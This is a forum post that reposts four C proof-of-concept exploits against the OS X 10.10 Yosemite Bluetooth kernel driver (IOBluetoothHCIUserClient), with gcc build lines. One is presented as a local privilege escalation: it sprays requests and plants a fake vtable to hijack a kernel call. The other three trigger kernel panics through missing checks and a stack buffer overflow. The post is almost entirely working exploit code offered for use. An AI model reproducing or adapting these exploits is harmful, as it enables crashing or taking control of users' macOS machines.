Aerosol Posted January 13, 2015 Report Posted January 13, 2015 OS X 10.10 Bluetooth DispatchHCIWriteStoredLinkKey - Crash PoC/* * lpe-issue1.c * Written for Mac OS X Yosemite (10.10.1) by @ joystick and @ rpaleari. * * Exploits IOBluetoothHCIUserClient::DispatchHCIWriteStoredLinkKey() * * gcc -Wall -o lpe-issue1{,.c} -framework IOKit * */#include <stdio.h>#include <stdlib.h>#include <string.h>#include <mach/mach.h>#include <mach/vm_map.h>#include <IOKit/IOKitLib.h>#define SIZE 0x1000struct BluetoothCall { uint64_t args[7]; uint64_t sizes[7]; uint64_t index;};#ifndef bswap64# define bswap64(num) \ ( (((uint64_t)(num) << 56) ) \ | (((uint64_t)(num) << 40) & UINT64_C(0x00FF000000000000)) \ | (((uint64_t)(num) << 24) & UINT64_C(0x0000FF0000000000)) \ | (((uint64_t)(num) << 8) & UINT64_C(0x000000FF00000000)) \ | (((uint64_t)(num) >> 8) & UINT64_C(0x00000000FF000000)) \ | (((uint64_t)(num) >> 24) & UINT64_C(0x0000000000FF0000)) \ | (((uint64_t)(num) >> 40) & UINT64_C(0x000000000000FF00)) \ | (((uint64_t)(num) >> 56) ) )#endifvoid create_requests(io_connect_t port){ struct BluetoothCall a; uint32_t i; kern_return_t kr; for (i = 0; i < 7; i++) { a.args[i] = (uint64_t) calloc(SIZE, sizeof(char)); a.sizes[i] = SIZE; } /* DispatchHCIRequestCreate() */ a.index = 0x0; *(uint64_t *)a.args[0] = 5*1000; /* Timeout */ memset((void *)a.args[1], 0x81, 0x1000); memset((void *)a.args[2], 0x82, 0x1000); memset((void *)a.args[3], 0x83, 0x1000); memset((void *)a.args[4], 0x84, 0x1000); memset((void *)a.args[5], 0x85, 0x1000); memset((void *)a.args[6], 0x86, 0x1000); for(i = 0; i < 500; i++) { kr = IOConnectCallMethod((mach_port_t) port, /* Connection */ (uint32_t) 0, /* Selector */ NULL, 0, /* input, inputCnt */ (const void*) &a, /* inputStruct */ 120, /* inputStructCnt */ NULL, NULL, NULL, NULL); /* Output stuff */ if(kr == 0xe00002bd) /* Full */ break; }}int main(void) { struct BluetoothCall a; int i; void *landing_page = calloc(SIZE, sizeof(char)); /* Init a */ for (i = 0; i < 7; i++) { a.args[i] = (uint64_t) calloc(SIZE, sizeof(char)); a.sizes[i] = SIZE; } /* Finding vuln service */ io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOBluetoothHCIController")); if (!service) { return -1; } /* Connect to vuln service */ io_connect_t port = (io_connect_t) 0; kern_return_t kr = IOServiceOpen(service, mach_task_self(), 0, &port); IOObjectRelease(service); if (kr != kIOReturnSuccess) { return kr; } /* Populating with fake requests. */ create_requests(port); /* IOBluetoothHCIUserClient::DispatchHCIWriteStoredLinkKey() */ a.index = 42; /* Req number */ *((uint32_t *)a.args[0]) = 1; /* num_of_keys */ *((uint32_t *)a.args[1]) = 0x20; /* Padding */ memset((void *)a.args[3], 0x33, 152); /* mov rdi, [r14+0AB8h] */ *((uint64_t *)(a.args[3]+152)) = bswap64((uint64_t)landing_page); /* mov rax, [rdi] */ *((uint64_t *)((uint64_t)landing_page)) = (uint64_t)landing_page; /* call [rax+0x1d0]: this will trigger a #GP calling 0x4141414142424242 */ *((uint64_t *)((uint64_t)landing_page+0x1d0)) = (uint64_t) 0x4141414142424242; /* Here some fixing to the vtable is required to return cleanly after the exploit */#if 0 /* Debug print */ for(i = 0; i < 120; i++) { if(i % 8 == 0) printf("\n"); printf("\\x%02x", ((unsigned char *)&a)[i]); } printf("\n");#endif kr = IOConnectCallMethod((mach_port_t) port, /* Connection */ (uint32_t) 0, /* Selector */ NULL, 0, /* input, inputCnt */ (const void*) &a, /* inputStruct */ 120, /* inputStructCnt */ NULL, NULL, NULL, NULL); /* Output stuff */ printf("kr: %08x\n", kr); return IOServiceClose(port);}SourceOS X 10.10 Bluetooth DispatchHCICreateConnection - Crash PoC/* * crash-issue1.c: Written for Mac OS X Yosemite (10.10) by @ rpaleari and @ joystick. * * Exploits a missing check in * IOBluetoothHCIUserClient::DispatchHCICreateConnection() causing a panic. * * gcc -Wall -o crash-issue1{,.c} -framework IOKit */#include <stdio.h>#include <stdlib.h>#include <string.h>#include <mach/mach.h>#include <mach/vm_map.h>#include <IOKit/IOKitLib.h>#define SIZE 0x1000struct BluetoothCall { uint64_t args[7]; uint64_t sizes[7]; uint64_t index;};int main(void) { /* Finding vuln service */ io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOBluetoothHCIController")); if (!service) { return -1; } /* Connect to vuln service */ io_connect_t port = (io_connect_t) 0; kern_return_t kr = IOServiceOpen(service, mach_task_self(), 0, &port); IOObjectRelease(service); if (kr != kIOReturnSuccess) { return kr; } printf(" [+] Opened connection to service on port: %d\n", port); struct BluetoothCall a; int i; for (i=0; i<7; i++) { a.args[i] = (uint64_t) calloc(SIZE, sizeof(char)); a.sizes[i] = SIZE; } /* This value causes IOMalloc() to fail */ a.args[6] = 0x0; a.sizes[6] = 0x80000041; a.index = 0x06; /* DispatchHCICreateConnection() */ for(i = 0; i < 120; i++) { if(i % 8 == 0) printf("\n"); printf("\\x%02x", ((unsigned char *)&a)[i]); } printf("\n"); kr = IOConnectCallMethod((mach_port_t) port, /* Connection */ (uint32_t) 0, /* Selector */ NULL, 0, /* input, inputCnt */ (const void*) &a, /* inputStruct */ 120, /* inputStructCnt */ NULL, NULL, NULL, NULL); /* Output stuff */ printf("kr: %08x\n", kr); return IOServiceClose(port);}SourceOS X 10.10 Bluetooth TransferACLPacketToHW - Crash PoC/* * crash-issue3.c: Written for Mac OS X Yosemite (10.10) by @ rpaleari and @ joystick. * * Exploits a missing check in * IOBluetoothHCIController::TransferACLPacketToHW() to trigger a panic. * * gcc -Wall -o crash-issue3{,.c} -framework IOKit * */#include <stdio.h>#include <stdlib.h>#include <string.h>#include <mach/mach.h>#include <mach/vm_map.h>#include <IOKit/IOKitLib.h>struct BluetoothCall { uint64_t args[7]; uint64_t sizes[7]; uint64_t index;};int main(void) { /* Finding vuln service */ io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOBluetoothHCIController")); if (!service) { return -1; } /* Connect to vuln service */ io_connect_t port = (io_connect_t) 0; kern_return_t kr = IOServiceOpen(service, mach_task_self(), 0, &port); IOObjectRelease(service); if (kr != kIOReturnSuccess) { return kr; } printf(" [+] Opened connection to service on port: %d\n", port); struct BluetoothCall a; memset(&a, 0, sizeof(a)); a.sizes[0] = 0x1000; a.args[0] = (uint64_t) calloc(a.sizes[0], sizeof(char)); a.sizes[1] = 0x1000; a.args[1] = (uint64_t) calloc(a.sizes[1], sizeof(char)); memset((void *)a.args[1], 0x22, 0x1000); /* Call DispatchHCISendRawACLData() */ a.index = 0x63; /* Debug */ for(int i = 0; i < 120; i++) { if(i % 8 == 0) printf("\n"); printf("\\x%02x", ((unsigned char *)&a)[i]); } printf("\n"); fflush(stdout); kr = IOConnectCallMethod((mach_port_t) port, /* Connection */ (uint32_t) 0, /* Selector */ NULL, 0, /* input, inputCnt */ (const void*) &a, /* inputStruct */ sizeof(a), /* inputStructCnt */ NULL, NULL, NULL, NULL); /* Output stuff */ printf("kr: %08x\n", kr); return IOServiceClose(port);}SourceOS X 10.10 Bluetooth BluetoothHCIChangeLocalName - Crash PoC/* * crash-issue2.c: Written for Mac OS X Yosemite (10.10) by @ rpaleari and @ joystick. * * Triggers a panic overwriting a stack_canary. * * gcc -Wall -o crash-issue2{,.c} -framework IOKit * */#include <stdio.h>#include <stdlib.h>#include <string.h>#include <mach/mach.h>#include <mach/vm_map.h>#include <IOKit/IOKitLib.h>struct BluetoothCall { uint64_t args[7]; uint64_t sizes[7]; uint64_t index;};int main(void) { /* Finding vuln service */ io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOBluetoothHCIController")); if (!service) { return -1; } /* Connect to vuln service */ io_connect_t port = (io_connect_t) 0; kern_return_t kr = IOServiceOpen(service, mach_task_self(), 0, &port); IOObjectRelease(service); if (kr != kIOReturnSuccess) { return kr; } printf(" [+] Opened connection to service on port: %d\n", port); struct BluetoothCall a; a.sizes[0] = 0x1000; a.args[0] = (uint64_t) calloc(a.sizes[0], sizeof(char)); /* This arguments overflows a local buffer and the adjacent stack canary */ a.sizes[1] = 264; a.args[1] = (uint64_t) calloc(a.sizes[1], sizeof(char)); memset((void *)a.args[1], 'A', a.sizes[1]); /* Call IOBluetoothHCIUserClient::DispatchHCIReadLocalName() */ a.index = 0x2d; /* Debug */ for(int i = 0; i < 120; i++) { if(i % 8 == 0) printf("\n"); printf("\\x%02x", ((unsigned char *)&a)[i]); } printf("\n"); fflush(stdout); kr = IOConnectCallMethod((mach_port_t) port, /* Connection */ (uint32_t) 0, /* Selector */ NULL, 0, /* input, inputCnt */ (const void*) &a, /* inputStruct */ sizeof(a), /* inputStructCnt */ NULL, NULL, NULL, NULL); /* Output stuff */ printf("kr: %08x\n", kr); return IOServiceClose(port);}Source 1 Quote